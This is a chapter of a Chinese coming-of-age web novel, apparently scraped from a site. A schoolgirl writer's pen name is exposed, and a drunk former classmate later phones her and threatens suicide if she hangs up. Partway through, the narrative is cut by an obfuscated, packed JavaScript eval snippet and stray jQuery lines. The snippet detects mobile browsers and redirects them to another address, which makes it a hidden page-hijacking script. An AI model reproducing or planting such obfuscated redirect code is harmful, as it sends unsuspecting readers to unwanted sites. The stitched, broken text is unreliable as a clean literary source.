年少时的一句玩笑话，也许会成为当事人一生的噩梦。
——《橘色告白》
安南三中是半封闭式学校，除了走读生和节假日，寄宿生只能在校区活动，不管是吃饭、睡觉还是学习。
甄好读高中的时候，甄东成重新北上津城做生意，一心想要东山再起，留何允莲母子三人在闽镇老家。
至于甄奶奶，大半辈子都生活在闽镇。
那个时候的甄好不爱回家，对家没有任何眷恋，唯一的牵挂便是年事已高的奶奶。
她总是不明白为什么室友会想家想到掉眼泪，也不明白为什么她们可以从早到晚和父母聊天或者讲电话讲个没完。
她不懂这种分享欲是从何而来，不明白“早饭吃了什么、午饭吃了什么、晚饭吃了什么、几点睡的、几点起床的”这种话题有什么好聊的，可她身边的同学与父母之间的相处模式大多都是如此，这让她觉得自己才是不正常的那个。
她最庆幸的是，周淳芮和鄢云书仍旧与自己在同一个学校，哪怕和鄢云书不同班，她们也能在下课和放学后一起去便利店买水、去食堂吃饭、去操场散步或夜跑。
她的高中生活平静又温馨，那是在甄家体会不到的感受。
也因为如此，她越来越不想回家，渐渐地从每周末回家变成两周回一次，甚至一个月才回一次家。
何允莲对此没有任何意见，她本就对两个女儿不上心，加上那几年甄东成赚了点钱，往家里寄生活费也比往年更勤更多。
人在物质条件富足的情况下，总是看什么都和颜悦色，何允莲就是很好的一个例子。
她买了更多的新衣服、烫了更时髦的发型，领着儿子吃好的、玩好的，全然忘记了自己还有两个在上寄宿学校的女儿。
甄好姐妹俩一个在安南三中高中部，一个在初中部，甄东成每周都会跟她们通电话。每每接到父亲的电话，甄美都会给甄好发来消息：“阿姐，阿爸刚刚给我打电话了。”
“嗯，阿爸说什么了？”甄好总是这样问。
“阿爸说从学校回家的那条盘山公路不安全，要我们没事可以不回家，安心待在学校里休息或学习。”甄美回道。
没错，甄好敢一个月不回家的底气来自甄东成。
从学校回闽镇，需要经过一条又弯又长还陡的盘山公路，晴好的天气不觉得如何，一旦遇到台风暴雨天，危险系数便直线上升。
甄好不喜欢蜿蜒陡峭的山路，不喜欢藏在大山里的家。
她想要飞出去，想要到外面看看更广阔的世界。
所以她拼命读书、努力进步，为的就是一句话——知识改变命运。
二〇〇九年的夏天，安南三中对于手机管理的制度还比较松懈，学生几乎人手一部。
甄好用的是三叔退休不用的三星滑盖手机，红黑配色，机身大气美观，她很喜欢。
她在课余时间用手机写散文和小说，给校刊投稿，没想到好些文章都被选中并刊登了。
她写《爷爷和南音》，也写《小羊和花草》，还写主角是阿尔法星球人的《橘色告白》，更写隐秘的少女心事，并小心翼翼地为它取名为《半束月光》。
在他们这个年纪里，正是情窦初开的时候，很多女生看了校刊专门为甄好开设的“半束月光”专栏，这个专栏专供她写散文，甚至是连载小说。
时间久了，三中不少人都纷纷猜测是什么样的女生才能够写出这样细腻戳人的文字。
一个寻常的午后，第一节刚下课，教室后门就吵吵嚷嚷地挤了很多人。当时甄好的班级上有一个身高腿长、长得很像某位男明星的男生，所以这一次她也自然而然地认为，那些人是来看“明星同学”的。
吵闹中不知是谁大喊了一声“远山乔同学”，然后整个嘈杂的教室突然安静了下去。
甄好更是浑身僵住，紧接着心脏怦怦狂跳，在寂静的空间里显得格外清晰。
远山乔正是她在校刊上撰写文章时所用的笔名。
原本只要甄好不出来承认是自己，这一切很快就会过去，偏偏上课偷偷睡觉的周淳芮这时被吵醒，听到有人大喊好朋友的笔名，迷迷糊糊地说道：“好好，我怎么听见有人叫你啊？远山乔不就是你的笔名吗……我是不是在做梦？”
甄好：“……”
这下好了，她掉马了。
安静许久的教室再次沸腾起来，什么样的声音都有。
同班的女生声音最大——
“甄同学，你就是远山乔啊？天哪，你写的文字好动人，呜呜呜喜欢！”
“好好！没想到是你！啊啊啊，原来偶像就在身边！答应我，继续写好吗？我枯燥的学习生活不能没有你的文字滋养。”
“好好，能不能多写点啊？呜呜呜，不够看啊！男主什么时候跟女主表白啊？”
至于外班的同学多半都是在说——
“原来校刊主编的宠儿就是她啊，长得还挺漂亮。”
“感觉是我哥会喜欢的款，我要去叫我哥把她追回来给我当嫂子！”
“她本人真的就跟她的笔名一样耶，安安静静又有力量。求加更！”
这是甄好十六年的人生中最受瞩目的一次，也是获得最多赞声的时刻。
在大家的赞扬声中，她的脸红了又红，最后甚至没好意思直接趴在桌上装死。
在这之后，她又得了一个“腼腆才女”的称号。
无论如何，这种被人关注的感觉总是美好的，当时的甄好十分感谢三中教风开化，保证学生成绩的前提下亦鼓励学生多元化发展，这才让她的才能有了展示的舞台。
三中校刊，是甄好觉得最有成就感的地方。
但生活怎么可能一帆风顺呢？在一个即将熄灯的晚上，她接到了一通陌生来电。
她本不想接，可犹豫片刻还是接了起来。
万一是家人遇到什么事借了别人的手机给她打电话呢？
她当时是这样想的，可电话接通后，她听到的是一个带着酒气的男声：“好好，你还记得我吗？”
甄好心一跳，一个可怕的猜测在心里形成，嘴上也随之吐出那两个字：“林……免？”
男生的声音顿时变得兴奋起来：“好好，你竟然能一听就听出是我来？我太高兴了，好好！”
甄好握着手机，心一下一下地跳快，好像回到了初中被林海追问林免下落的时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038925|171333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，紧张和惶恐逐渐占据她的心：“你找我……有什么事吗？”
其实她想问对方为什么会有自己的手机号码，可转念一想，这个问题没有意义。
“没有什么事就不能找你吗？”林免的声音里透着欣喜之情，“我们好久没联系了，今天高兴，突然就想给你打电话。好好，你知道吗？我刚刚谈下了一笔数额不小的生意，我真的太开心了，想找个人分享我的喜悦，就想到了你。”
“啊……”甄好的生活里除了家务就是学习，尚不能理解他的快乐，但还是礼貌地说道，“恭喜你啊。”
“谢谢你，好好。”林免像是找了个安静的地方，他那边原本的嘈杂声退去，只能听见他有些着急的呼吸声，“因为你的恭喜，让我的努力更加有了意义。”
“呵呵。”甄好不知道说什么，只能干笑。
林免并不介意她的沉默，依旧兴致高昂地说着自己的事：“其实我很早就想给你打电话了，可是我不敢。我怕你还是像以前一样讨厌我，直到今天喝了点酒，才壮起胆子打了这个电话……”
甄好默默地听他说着，心里却在盘算着合适的时机结束通话。
他说得没错，她依然厌恶听到与他有关的一切。
“好好，谢谢你愿意接我的电话，还愿意听我说这么多。”林免喝了不少酒，声音再怎么压听起来还是有点飘，“好好，我还是很喜欢……”
甄好生怕听到自己不想听的话，飞快地打断他：“林同学，我们宿舍快要熄灯了，要不今天先到这里？”
“好好，别挂电话，我还有话没说完。”林免却不让她挂电话。
“可是我们真的要熄灯了……”甄好说的是实话，宿舍再过五分钟就要熄灯了。
“求你了，不要挂电话……求你了……”林免说着说着竟染上了哭腔，“拜托你去楼道听我说完好不好？就一会会儿，求求你了……”
“我们真的要熄灯了，等下宿管阿姨要抓人的……”
甄好为难的话语被林免粗声粗气地打断：“甄好，我那么喜欢你，你就这么对我吗？这么点时间都不愿意给我吗？！”
话音落地的一瞬间，两边都安静得可怕。
甄好被他吼得愣住，等反应过来后握着手机的手都在微微发抖。
她又感受到了当初面对林海时的那种恐惧，而这两次经历都是林免带给她的。
新仇旧恨一齐涌上甄好心头，她对林免的厌恶又多了几分：“林免，你是不是太自私了？为什么你喜欢我我就要给你时间，我都说了我们要熄灯了，你听不懂吗？”
一时上头说出去的话往往带着滔天怒气，甄好说完才意识到自己说了什么，大脑瞬间一片空白。
林免没有马上说话，但可以听见他的呼吸声越来越重，甄好的心也越来越沉，她急于摆脱眼下胶着的状态，于是强迫自己冷静道：“我真的要挂电话了……”
“不准挂电话！”林免突然大吼出声，满腔怒意几乎要透过手机变成实物刺向甄好，而他接下来说的话更是让她从头凉到脚。
林免一个字一个字、咬紧牙关，声音像是从地狱里传出来的：“甄好，你要是敢挂电话，我就从天台上跳下去！”